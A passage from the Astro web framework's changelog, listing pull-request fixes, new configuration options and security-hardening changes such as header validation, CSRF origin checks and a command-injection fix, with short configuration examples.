[@&#8203;umutkeltek](https://github.com/umutkeltek)! - Fixes i18n fallback middleware intercepting non-404 responses The fallback middleware was triggering for all responses with status >= 300, including legitimate 3xx redirects, 403 forbidden, and 5xx server errors. This broke auth flows and form submissions on localized server routes. The fallback now correctly only triggers for 404 (page not found) responses. - [#&#8203;15661](https://github.com/withastro/astro/pull/15661) [`7150a2e`](https://github.com/withastro/astro/commit/7150a2e2aa022a9a957684ad8091f85aedb243f1) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a build error when generating projects with 100k+ static routes. - [#&#8203;15580](https://github.com/withastro/astro/pull/15580) [`a92333c`](https://github.com/withastro/astro/commit/a92333cb48291008dc08afd0da9e1bb349443934) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a build error when generating projects with a large number of static routes - [#&#8203;15176](https://github.com/withastro/astro/pull/15176) [`9265546`](https://github.com/withastro/astro/commit/92655460785e4b0a9eca9bac2e493a9c989dff47) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes hydration for framework components inside MDX when using `Astro.slots.render()` Previously, when multiple framework components with `client:*` directives were passed as named slots to an Astro component in MDX, only the first slot would hydrate correctly. Subsequent slots would render their HTML but fail to include the necessary hydration scripts. - [#&#8203;15506](https://github.com/withastro/astro/pull/15506) [`074901f`](https://github.com/withastro/astro/commit/074901fe6b599e9ffc740feb1c06d4590e9da43a) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a race condition where concurrent requests to dynamic routes in the dev server could produce incorrect params. - [#&#8203;15444](https://github.com/withastro/astro/pull/15444) [`10b0422`](https://github.com/withastro/astro/commit/10b0422b89d12320da3c026e8a4728ae7265cfb8) Thanks [@&#8203;AhmadYasser1](https://github.com/AhmadYasser1)! - Fixes `Astro.rewrite` returning 404 when rewriting to a URL with non-ASCII characters When rewriting to a path containing non-ASCII characters (e.g., `/redirected/héllo`), the route lookup compared encoded `distURL` hrefs against decoded pathnames, causing the comparison to always fail and resulting in a 404. This fix compares against the encoded pathname instead. - [#&#8203;15728](https://github.com/withastro/astro/pull/15728) [`12ca621`](https://github.com/withastro/astro/commit/12ca6213a68280293485d091e14899e7f2a4fee8) Thanks [@&#8203;SvetimFM](https://github.com/SvetimFM)! - Improves internal state retention for persisted elements during view transitions, especially avoiding WebGL context loss in Safari and resets of CSS transitions and iframes in modern Chromium and Firefox browsers - [#&#8203;15279](https://github.com/withastro/astro/pull/15279) [`8983f17`](https://github.com/withastro/astro/commit/8983f17d530b63d230ffb06f7ce65476f77c60b5) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where the dev server would serve files like `/README.md` from the project root when they shouldn't be accessible. A new route guard middleware now blocks direct URL access to files that exist outside of `srcDir` and `publicDir`, returning a 404 instead. - [#&#8203;15703](https://github.com/withastro/astro/pull/15703) [`829182b`](https://github.com/withastro/astro/commit/829182bbdfc307a005aea00ac8c00923f76efb08) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes server islands returning a 500 error in dev mode for adapters that do not set `adapterFeatures.buildOutput` (e.g. `@astrojs/netlify`) - [#&#8203;15749](https://github.com/withastro/astro/pull/15749) [`573d188`](https://github.com/withastro/astro/commit/573d188de9a7e6635f24004291c3e71e0ddc7a7a) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that caused `session.regenerate()` to silently lose session data Previously, regenerated session data was not saved under the new session ID unless `set()` was also called. - [#&#8203;15549](https://github.com/withastro/astro/pull/15549) [`be1c87e`](https://github.com/withastro/astro/commit/be1c87e40e851e1020343a3a3f04e3ec9d39d832) Thanks [@&#8203;0xRozier](https://github.com/0xRozier)! - Fixes an issue where original (unoptimized) images from prerendered pages could be kept in the build output during SSR builds. - [#&#8203;15454](https://github.com/withastro/astro/pull/15454) [`b47a4e1`](https://github.com/withastro/astro/commit/b47a4e19a0b0b7e57068add94adc01c88d380fa8) Thanks [@&#8203;Fryuni](https://github.com/Fryuni)! - Fixes a race condition in the content layer which could result in dropped content collection entries. - [#&#8203;15685](https://github.com/withastro/astro/pull/15685) [`1a323e5`](https://github.com/withastro/astro/commit/1a323e5c64c7c23212ed80546f593d930115d55c) Thanks [@&#8203;jcayzac](https://github.com/jcayzac)! - Fix regression where SVG images in content collection `image()` fields could not be rendered as inline components. This behavior is now restored while preserving the TLA deadlock fix. - [#&#8203;15603](https://github.com/withastro/astro/pull/15603) [`5bc2b2c`](https://github.com/withastro/astro/commit/5bc2b2c2f4a9928efa16452b64729586dc79a0c7) Thanks [@&#8203;0xRozier](https://github.com/0xRozier)! - Fixes a deadlock that occurred when using SVG images in content collections - [#&#8203;15385](https://github.com/withastro/astro/pull/15385) [`9e16d63`](https://github.com/withastro/astro/commit/9e16d63cdd2537c406e50d005b389ac115755e8e) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes content layer loaders that use dynamic imports Content collection loaders can now use `await import()` and `import.meta.glob()` to dynamically import modules during build. Previously, these would fail with "Vite module runner has been closed." - [#&#8203;15565](https://github.com/withastro/astro/pull/15565) [`30cd6db`](https://github.com/withastro/astro/commit/30cd6dbebe771efb6f71dcff7e6b44026fad6797) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where the use of the `Code` component would result in an unexpected error. - [#&#8203;15125](https://github.com/withastro/astro/pull/15125) [`6feb0d7`](https://github.com/withastro/astro/commit/6feb0d7bec1e333eb795ae0fc51516182a73eb2b) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes remote images `Etag` header handling by disabling internal cache - [#&#8203;15317](https://github.com/withastro/astro/pull/15317) [`7e1e35a`](https://github.com/withastro/astro/commit/7e1e35a8c28dba6495f9068c35faeb01abc08a1c) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes `?raw` imports failing when used in both SSR and prerendered routes - [#&#8203;15809](https://github.com/withastro/astro/pull/15809) [`94b4a46`](https://github.com/withastro/astro/commit/94b4a465f12e89b018bf120c9b163fc567aa0e84) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes `fit` defaults not being applied unless `layout` was also specified - [#&#8203;15563](https://github.com/withastro/astro/pull/15563) [`e959698`](https://github.com/withastro/astro/commit/e959698fedee4e548053e251d103eaeb9c6995cd) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where warnings would be logged during the build using one of the official adapters - [#&#8203;15121](https://github.com/withastro/astro/pull/15121) [`06261e0`](https://github.com/withastro/astro/commit/06261e03d55a571c6affbd7321f7e28c997d6d5d) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug where the Astro, with the Cloudflare integration, couldn't correctly serve certain routes in the development server. - [#&#8203;15585](https://github.com/withastro/astro/pull/15585) [`98ea30c`](https://github.com/withastro/astro/commit/98ea30c56d6d317d76e2290ed903f11961204714) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Add a default body size limit for server actions to prevent oversized requests from exhausting memory. - [#&#8203;15264](https://github.com/withastro/astro/pull/15264) [`11efb05`](https://github.com/withastro/astro/commit/11efb058e85cda68f9a8e8f15a2c7edafe5a4789) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Lower the Node version requirement to allow running on Stackblitz until it supports v22 - [#&#8203;15778](https://github.com/withastro/astro/pull/15778) [`4ebc1e3`](https://github.com/withastro/astro/commit/4ebc1e328ac40e892078031ed9dfecf60691fd56) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where the computed `clientAddress` was incorrect in cases of a Request header with multiple values. The `clientAddress` is now also validated to contain only characters valid in IP addresses, rejecting injection payloads. - [#&#8203;15565](https://github.com/withastro/astro/pull/15565) [`30cd6db`](https://github.com/withastro/astro/commit/30cd6dbebe771efb6f71dcff7e6b44026fad6797) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where the new Astro v6 development server didn't log anything when navigating the pages. - [#&#8203;15024](https://github.com/withastro/astro/pull/15024) [`22c48ba`](https://github.com/withastro/astro/commit/22c48ba6643ed7153400781ca1affb3e8dc1351a) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where JSON schema generation would fail for unrepresentable types - [#&#8203;15669](https://github.com/withastro/astro/pull/15669) [`d5a888b`](https://github.com/withastro/astro/commit/d5a888ba645de356673605a0b70f9c721cf6cb3b) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Removes the `cssesc` dependency This CommonJS dependency could sometimes cause errors because Astro is ESM-only. It is now replaced with a built-in ESM-friendly implementation. - [#&#8203;15740](https://github.com/withastro/astro/pull/15740) [`c5016fc`](https://github.com/withastro/astro/commit/c5016fc86c4928a26b49dbe144b5569d5d89ac04) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Removes an escape hatch that skipped attribute escaping for URL values containing `&`, ensuring all dynamic attribute values are consistently escaped - [#&#8203;15756](https://github.com/withastro/astro/pull/15756) [`b6c64d1`](https://github.com/withastro/astro/commit/b6c64d1760ded517db37e1dd86a909959f7f619d) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Hardens the dev server by validating Sec-Fetch metadata headers to restrict cross-origin subresource requests - [#&#8203;15744](https://github.com/withastro/astro/pull/15744) [`fabb710`](https://github.com/withastro/astro/commit/fabb710c2514c5a1298e002dd961a1d79686f021) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes cookie handling during error page rendering to ensure cookies set by middleware are consistently included in the response - [#&#8203;15776](https://github.com/withastro/astro/pull/15776) [`e9a9cc6`](https://github.com/withastro/astro/commit/e9a9cc6002e35325447856e9a3e0866f285c0638) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Hardens error page response merging to ensure framing headers from the original response are not carried over to the rendered error page - [#&#8203;15759](https://github.com/withastro/astro/pull/15759) [`39ff2a5`](https://github.com/withastro/astro/commit/39ff2a565614250acae83d35bf196e0463857d9e) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Adds a new `bodySizeLimit` option to the `@astrojs/node` adapter You can now configure a maximum allowed request body size for your Node.js standalone server. The default limit is 1 GB. Set the value in bytes, or pass `0` to disable the limit entirely: ```js import node from '@&#8203;astrojs/node'; import { defineConfig } from 'astro/config'; export default defineConfig({ adapter: node({ mode: 'standalone', bodySizeLimit: 1024 * 1024 * 100, // 100 MB }), }); ``` - [#&#8203;15777](https://github.com/withastro/astro/pull/15777) [`02e24d9`](https://github.com/withastro/astro/commit/02e24d952de29c1c633744e7408215bedeb4d436) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes CSRF origin check mismatch by passing the actual server listening port to `createRequest`, ensuring the constructed URL origin includes the correct port (e.g., `http://localhost:4321` instead of `http://localhost`). Also restricts `X-Forwarded-Proto` to only be trusted when `allowedDomains` is configured. - [#&#8203;15742](https://github.com/withastro/astro/pull/15742) [`9d9699c`](https://github.com/withastro/astro/commit/9d9699c04aba7524bd3c8e1b8303691db19fa5bd) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Hardens `clientAddress` resolution to respect `security.allowedDomains` for `X-Forwarded-For`, consistent with the existing handling of `X-Forwarded-Host`, `X-Forwarded-Proto`, and `X-Forwarded-Port`. The `X-Forwarded-For` header is now only used to determine `Astro.clientAddress` when the request's host has been validated against an `allowedDomains` entry. Without a matching domain, `clientAddress` falls back to the socket's remote address. - [#&#8203;15768](https://github.com/withastro/astro/pull/15768) [`6328f1a`](https://github.com/withastro/astro/commit/6328f1ac7ba84d75e2889e415537620d51af5154) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Hardens internal cookie parsing to use a null-prototype object consistently for the fallback path, aligning with how the cookie library handles parsed values - [#&#8203;15125](https://github.com/withastro/astro/pull/15125) [`6feb0d7`](https://github.com/withastro/astro/commit/6feb0d7bec1e333eb795ae0fc51516182a73eb2b) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes images not working in development when using setups with port forwarding - [#&#8203;15811](https://github.com/withastro/astro/pull/15811) [`2ba0db5`](https://github.com/withastro/astro/commit/2ba0db5ef78d29c816a358f88487c1e9aa87a2d8) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes integration-injected scripts (e.g. Alpine.js via `injectScript()`) not being loaded in the dev server when using non-runnable environment adapters like `@astrojs/cloudflare`. - [#&#8203;15208](https://github.com/withastro/astro/pull/15208) [`8dbdd8e`](https://github.com/withastro/astro/commit/8dbdd8efc12926eddbe189cf67a161bebf9fb5dd) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Makes `session.driver` optional in config schema, allowing adapters to provide default drivers Adapters like Cloudflare, Netlify, and Node provide default session drivers, so users can now configure session options (like `ttl`) without explicitly specifying a driver. - [#&#8203;15260](https://github.com/withastro/astro/pull/15260) [`abca1eb`](https://github.com/withastro/astro/commit/abca1ebc0ed4b89b1904c58b7969f8386250f8de) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where adding new pages weren't correctly shown when using the development server. - [#&#8203;15591](https://github.com/withastro/astro/pull/15591) [`1ed07bf`](https://github.com/withastro/astro/commit/1ed07bf85c07a641c255ebea28fb633d60fca1c0) Thanks [@&#8203;renovate](https://github.com/apps/renovate)! - Upgrades `devalue` to v5.6.3 - [#&#8203;15137](https://github.com/withastro/astro/pull/15137) [`2f70bf1`](https://github.com/withastro/astro/commit/2f70bf14ec953cd6e813ed4e1aa0ef2245846dd0) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Adds `legacy.collectionsBackwardsCompat` flag that restores v5 backwards compatibility behavior for legacy content collections - ([v6 upgrade guidance](https://docs.astro.build/en/guides/upgrade-to/v6/#legacy-content-collections-backwards-compatibility)) When enabled, this flag allows: - Collections defined without loaders (automatically get glob loader) - Collections with `type: 'content'` or `type: 'data'` - Config files located at `src/content/config.ts` (legacy location) - Legacy entry API: `entry.slug` and `entry.render()` methods - Path-based entry IDs instead of slug-based IDs ```js // astro.config.mjs export default defineConfig({ legacy: { collectionsBackwardsCompat: true, }, }); ``` This is a temporary migration helper for v6 upgrades. Migrate collections to the Content Layer API, then disable this flag. - [#&#8203;15550](https://github.com/withastro/astro/pull/15550) [`58df907`](https://github.com/withastro/astro/commit/58df9072391fbfcd703e8d791ca51b7bedefb730) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Improves the JSDoc annotations for the `AstroAdapter` type - [#&#8203;15696](https://github.com/withastro/astro/pull/15696) [`a9fd221`](https://github.com/withastro/astro/commit/a9fd221bda99db4660c241c494b6d3225eb4e51d) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes images not working in MDX when using the Cloudflare adapter in certain cases - [#&#8203;15386](https://github.com/withastro/astro/pull/15386) [`a0234a3`](https://github.com/withastro/astro/commit/a0234a36d8407d24270e187cd6133171b938583e) Thanks [@&#8203;OliverSpeir](https://github.com/OliverSpeir)! - Updates `astro add cloudflare` to use the latest valid `compatibility_date` in the wrangler config, if available - [#&#8203;15036](https://github.com/withastro/astro/pull/15036) [`f125a73`](https://github.com/withastro/astro/commit/f125a73ebf395d81bf44ccfce4af63a518f6f724) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes certain aliases not working when using images in JSON files with the content layer - [#&#8203;15693](https://github.com/withastro/astro/pull/15693) [`4db2089`](https://github.com/withastro/astro/commit/4db2089a8e01cdb298c49f61817daf240ae07fa5) Thanks [@&#8203;ArmandPhilippot](https://github.com/ArmandPhilippot)! - Fixes the links to Astro Docs to match the v6 structure. - [#&#8203;15093](https://github.com/withastro/astro/pull/15093) [`8d5f783`](https://github.com/withastro/astro/commit/8d5f783ad8d236c9d768a629d3b929a074276ac2) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Reduces build memory by filtering routes per environment so each only builds the pages it needs - [#&#8203;15268](https://github.com/withastro/astro/pull/15268) [`54e5cc4`](https://github.com/withastro/astro/commit/54e5cc476b7d8ea8da0ddaba97ced0b789a2550a) Thanks [@&#8203;rururux](https://github.com/rururux)! - fix: avoid creating unused images during build in Picture component - [#&#8203;15757](https://github.com/withastro/astro/pull/15757) [`631aaed`](https://github.com/withastro/astro/commit/631aaedce99a2233d69fc2aa369164d286f34dbc) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Hardens URL pathname normalization to consistently handle backslash characters after decoding, ensuring middleware and router see the same canonical pathname - [#&#8203;15337](https://github.com/withastro/astro/pull/15337) [`7ff7b11`](https://github.com/withastro/astro/commit/7ff7b1160d2d60e40073ddc422fc7a00c59696aa) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug where the development server couldn't serve newly created new pages while the development server is running. - [#&#8203;15535](https://github.com/withastro/astro/pull/15535) [`dfe2e22`](https://github.com/withastro/astro/commit/dfe2e22042f92172442ab32777b3cce90685b76a) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes the types of `createApp()` exported from `astro/app/entrypoint` - [#&#8203;15073](https://github.com/withastro/astro/pull/15073) [`2a39c32`](https://github.com/withastro/astro/commit/2a39c32857ad090efcfd77fb781e420f43800bc9) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Don't log an error when there is no content config - [#&#8203;15717](https://github.com/withastro/astro/pull/15717) [`4000aaa`](https://github.com/withastro/astro/commit/4000aaa2d361cbfc9bbf280a9b0e78e6db167945) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Ensures that URLs with multiple leading slashes (e.g. `//admin`) are normalized to a single slash before reaching middleware, so that pathname checks like `context.url.pathname.startsWith('/admin')` work consistently regardless of the request URL format - [#&#8203;15450](https://github.com/withastro/astro/pull/15450) [`50c9129`](https://github.com/withastro/astro/commit/50c912978cca4afbe4b3ebd11c30305d5e9c8315) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where `build.serverEntry` would not be respected when using the new Adapter API - [#&#8203;15331](https://github.com/withastro/astro/pull/15331) [`4592be5`](https://github.com/withastro/astro/commit/4592be5bb7490474fe5e204f60b7131d9a79dae5) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes an issue where API routes would overwrite public files during build. Public files now correctly take priority over generated routes in both dev and build modes. - [#&#8203;15414](https://github.com/withastro/astro/pull/15414) [`faedcc4`](https://github.com/withastro/astro/commit/faedcc40bccc43e27a53eee495b34448532866d6) Thanks [@&#8203;sapphi-red](https://github.com/sapphi-red)! - Fixes a bug where some requests to the dev server didn't start with the leading `/`. - [#&#8203;15419](https://github.com/withastro/astro/pull/15419) [`a18d727`](https://github.com/withastro/astro/commit/a18d727fc717054df85177c8e0c3d38a5252f2da) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where the `add` command could accept any arbitrary value, leading the possible command injections. Now `add` and `--add` accepts values that are only acceptable npmjs.org names. - [#&#8203;15507](https://github.com/withastro/astro/pull/15507) [`07f6610`](https://github.com/withastro/astro/commit/07f66101ed2850874c8a49ddf1f1609e6b1339fb) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Avoid bundling SSR renderers when only API endpoints are dynamic - [#&#8203;15125](https://github.com/withastro/astro/pull/15125) [`6feb0d7`](https://github.com/withastro/astro/commit/6feb0d7bec1e333eb795ae0fc51516182a73eb2b) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Reduces Astro’s install size by around 8 MB - [#&#8203;15752](https://github.com/withastro/astro/pull/15752) [`918d394`](https://github.com/withastro/astro/commit/918d3949f3b92b1ae46dadd77cfb1404869c50bd) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes an issue where a session ID from a cookie with no matching server-side data was accepted as-is. The session now generates a new ID when the cookie value has no corresponding storage entry. - [#&#8203;15743](https://github.com/withastro/astro/pull/15743) [`3b4252a`](https://github.com/withastro/astro/commit/3b4252a82a937fccbfd433d90a93ad524a7a6f7b) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Hardens config-based redirects with catch-all parameters to prevent producing protocol-relative URLs (e.g. `//example.com`) in the `Location` header - [#&#8203;15761](https://github.com/withastro/astro/pull/15761) [`8939751`](https://github.com/withastro/astro/commit/89397517830fec1d5b40e57ba1e35db1eb5fee79) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where it wasn't possible to set `experimental.queuedRendering.poolSize` to `0`. - [#&#8203;15633](https://github.com/withastro/astro/pull/15633) [`9d293c2`](https://github.com/withastro/astro/commit/9d293c21afc17fccaa55ea6c69f6403ad288ba57) Thanks [@&#8203;jwoyo](https://github.com/jwoyo)! - Fixes a case where `<script>` tags from components passed as slots to server islands were not included in the response - [#&#8203;15491](https://github.com/withastro/astro/pull/15491) [`6c60b05`](https://github.com/withastro/astro/commit/6c60b05b8d6774da04567dc8b85b5f2956e9da0c) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes a case where setting `vite.server.allowedHosts: true` was turned into an invalid array - [#&#8203;15459](https://github.com/withastro/astro/pull/15459) [`a4406b4`](https://github.com/withastro/astro/commit/a4406b4dfbca3756983b82c37d7c74f84d2de096) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where `context.csp` was logging warnings in development that should be logged in production only - [#&#8203;15125](https://github.com/withastro/astro/pull/15125) [`6feb0d7`](https://github.com/withastro/astro/commit/6feb0d7bec1e333eb795ae0fc51516182a73eb2b) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Enables the ClientRouter to preserve the original hash part of the target URL during server side redirects. - [#&#8203;15133](https://github.com/withastro/astro/pull/15133) [`53b125b`](https://github.com/withastro/astro/commit/53b125b7f0886f9ca75c4b2b80e3557645fb71df) Thanks [@&#8203;HiDeoo](https://github.com/HiDeoo)! - Fixes an issue where adding or removing `<style>` tags in Astro components would not visually update styles during development without restarting the development server. - [#&#8203;15362](https://github.com/withastro/astro/pull/15362) [`dbf71c0`](https://github.com/withastro/astro/commit/dbf71c021e3adf060c34e6f268cf1b5cd480233d) Thanks [@&#8203;jcayzac](https://github.com/jcayzac)! - Fixes `inferSize` being kept in the HTML attributes of the emitted `<img>` when that option is used with an image that is not remote. - [#&#8203;15421](https://github.com/withastro/astro/pull/15421) [`bf62b6f`](https://github.com/withastro/astro/commit/bf62b6fa3eb7b0562cb9390a5362b23381f07276) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Removes unintended logging - [#&#8203;15732](https://github.com/withastro/astro/pull/15732) [`2ce9e74`](https://github.com/withastro/astro/commit/2ce9e7477e38bca3e13a9b6993125c798377dd50) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Updates docs links to point to the stable release - [#&#8203;15718](https://github.com/withastro/astro/pull/15718) [`14f37b8`](https://github.com/withastro/astro/commit/14f37b80aa2bd086cf31feccd5016c73a09822ae) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where internal headers may leak when rendering error pages - [#&#8203;15214](https://github.com/withastro/astro/pull/15214) [`6bab8c9`](https://github.com/withastro/astro/commit/6bab8c992add3ecad7581b26f6bc28a74e5d3485) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where the internal performance timers weren't correctly updated to reflect new build pipeline. - [#&#8203;15112](https://github.com/withastro/astro/pull/15112) [`5751d2b`](https://github.com/withastro/astro/commit/5751d2be14ccdcb752e11b6abdb5cdd3268a5b87) Thanks [@&#8203;HiDeoo](https://github.com/HiDeoo)! - Fixes a Windows-specific build issue when importing an Astro component with a `<script>` tag using an import alias. - [#&#8203;15345](https://github.com/withastro/astro/pull/15345) [`840fbf9`](https://github.com/withastro/astro/commit/840fbf9e4abc7f847e23da8d67904ffde4d95fff) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes an issue where `.sql` files (and other non-asset module types) were incorrectly moved to the client assets folder during SSR builds, causing "no such module" errors at runtime. The `ssrMoveAssets` function now reads the Vite manifest to determine which files are actual client assets (CSS and static assets like images) and only moves those, leaving server-side module files in place. - [#&#8203;15259](https://github.com/withastro/astro/pull/15259) [`8670a69`](https://github.com/withastro/astro/commit/8670a699e96fcc972d441c75e503b20e8961a71f) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where styles weren't correctly reloaded when using the `@astrojs/cloudflare` adapter. - [#&#8203;15473](https://github.com/withastro/astro/pull/15473) [`d653b86`](https://github.com/withastro/astro/commit/d653b864252e0b39a3774f0e1ecf4b7b69851288) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Improves Host header handling for SSR deployments behind proxies - [#&#8203;15047](https://github.com/withastro/astro/pull/15047) [`5580372`](https://github.com/withastro/astro/commit/55803724bb50c0fe4303c26f0df8f254e42b4d61) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes wrangler config template in `astro add cloudflare` to use correct entrypoint and compatibility date - [#&#8203;14589](https://github.com/withastro/astro/pull/14589) [`7038f07`](https://github.com/withastro/astro/commit/7038f0700898a17cb87b5a2e408480c1226a47f4) Thanks [@&#8203;43081j](https://github.com/43081j)! - Improves CLI styling - [#&#8203;15586](https://github.com/withastro/astro/pull/15586) [`35bc814`](https://github.com/withastro/astro/commit/35bc81428b7fd08d8d7249c58666fc13e9609d90) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes an issue where allowlists were not being enforced when handling remote images - [#&#8203;15422](https://github.com/withastro/astro/pull/15422) [`68770ef`](https://github.com/withastro/astro/commit/68770ef9e981f37a0b1b8febf76958010975add9) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Upgrade to [@&#8203;astrojs/compiler](https://github.com/astrojs/compiler)@&#8203;3.0.0-beta - [#&#8203;15205](https://github.com/withastro/astro/pull/15205) [`12adc55`](https://github.com/withastro/astro/commit/12adc5507c99fa7f315d0c78e82005524e7bbb32) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Fixes an issue where the `astro:page-load` event did not fire on initial page loads. - [#&#8203;15125](https://github.com/withastro/astro/pull/15125) [`6feb0d7`](https://github.com/withastro/astro/commit/6feb0d7bec1e333eb795ae0fc51516182a73eb2b) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - **BREAKING CHANGE to the experimental Fonts API only** Changes the font format downloaded by default when using the experimental Fonts API. Additionally, adds a new `formats` configuration option to specify which font formats to download. Previously, Astro was opinionated about which font sources would be kept for usage, mainly keeping `woff2` and `woff` files. You can now specify what font formats should be downloaded (if available). Only `woff2` files are downloaded by default. ##### What should I do? If you were previously relying on Astro downloading the `woff` format, you will now need to specify this explicitly with the new `formats` configuration option. Additionally, you may also specify any additional file formats to download if available: ```diff // astro.config.mjs import { defineConfig, fontProviders } from 'astro/config' export default defineConfig({ experimental: { fonts: [{ name: 'Roboto', cssVariable: '--font-roboto', provider: fontProviders.google(), + formats: ['woff2', 'woff', 'otf'] }] } }) ``` - [#&#8203;15179](https://github.com/withastro/astro/pull/15179) [`8c8aee6`](https://github.com/withastro/astro/commit/8c8aee6ddefb1918b1f00415e34d2531e287acf8) Thanks [@&#8203;HiDeoo](https://github.com/HiDeoo)! - Fixes an issue when importing using an import alias a file with a name matching a directory name. - [#&#8203;15036](https://github.com/withastro/astro/pull/15036) [`f125a73`](https://github.com/withastro/astro/commit/f125a73ebf395d81bf44ccfce4af63a518f6f724) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a vite warning log during builds when using npm - [#&#8203;15269](https://github.com/withastro/astro/pull/15269) [`6f82aae`](https://github.com/withastro/astro/commit/6f82aae24c64a059531f4b924c201fbd4c3e9180) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a regression where `build.serverEntry` stopped working as expected. - [#&#8203;15053](https://github.com/withastro/astro/pull/15053) [`674b63f`](https://github.com/withastro/astro/commit/674b63f26d2e3b1878bcc8d770b9895357752ae9) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Excludes `astro:*` and `virtual:astro:*` from client optimizeDeps in core. Needed for prefetch users since virtual modules are now in the dependency graph. - [#&#8203;15764](https://github.com/withastro/astro/pull/15764) [`44daecf`](https://github.com/withastro/astro/commit/44daecfc722cd5763a2afc4b1697169a9a0bb74e) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes form actions incorrectly auto-executing during error page rendering. When an error page (e.g. 404) is rendered, form actions from the original request are no longer executed, since the full request handling pipeline is not active. - [#&#8203;15788](https://github.com/withastro/astro/pull/15788) [`a91da9f`](https://github.com/withastro/astro/commit/a91da9fe6c6bfad8cc204c0f4a35268a915a0417) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Reverts changes made to TSConfig templates - [#&#8203;15657](https://github.com/withastro/astro/pull/15657) [`cb625b6`](https://github.com/withastro/astro/commit/cb625b62596582047ec8cc4256960cc11804e931) Thanks [@&#8203;qzio](https://github.com/qzio)! - Adds a new `security.actionBodySizeLimit` option to configure the maximum size of Astro Actions request bodies. This lets you increase the default 1 MB limit when your actions need to accept larger payloads. For example, actions that handle file uploads or large JSON payloads can now opt in to a higher limit. If you do not set this option, Astro continues to enforce the 1 MB default to help prevent abuse. ```js // astro.config.mjs export default defineConfig({ security: { actionBodySizeLimit: 10 * 1024 * 1024, // set to 10 MB }, }); ``` - [#&#8203;15176](https://github.com/withastro/astro/pull/15176) [`9265546`](https://github.com/withastro/astro/commit/92655460785e4b0a9eca9bac2e493a9c989dff47) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes scripts in components not rendering when a sibling `<Fragment slot="...">` exists but is unused - Updated dependencies \[[`bbb5811`](https://github.com/withastro/astro/commit/bbb5811eb801a42dc091bb09ea19d6cde3033795), [`4ebc1e3`](https://github.com/withastro/astro/commit/4ebc1e328ac40e892078031ed9dfecf60691fd56), 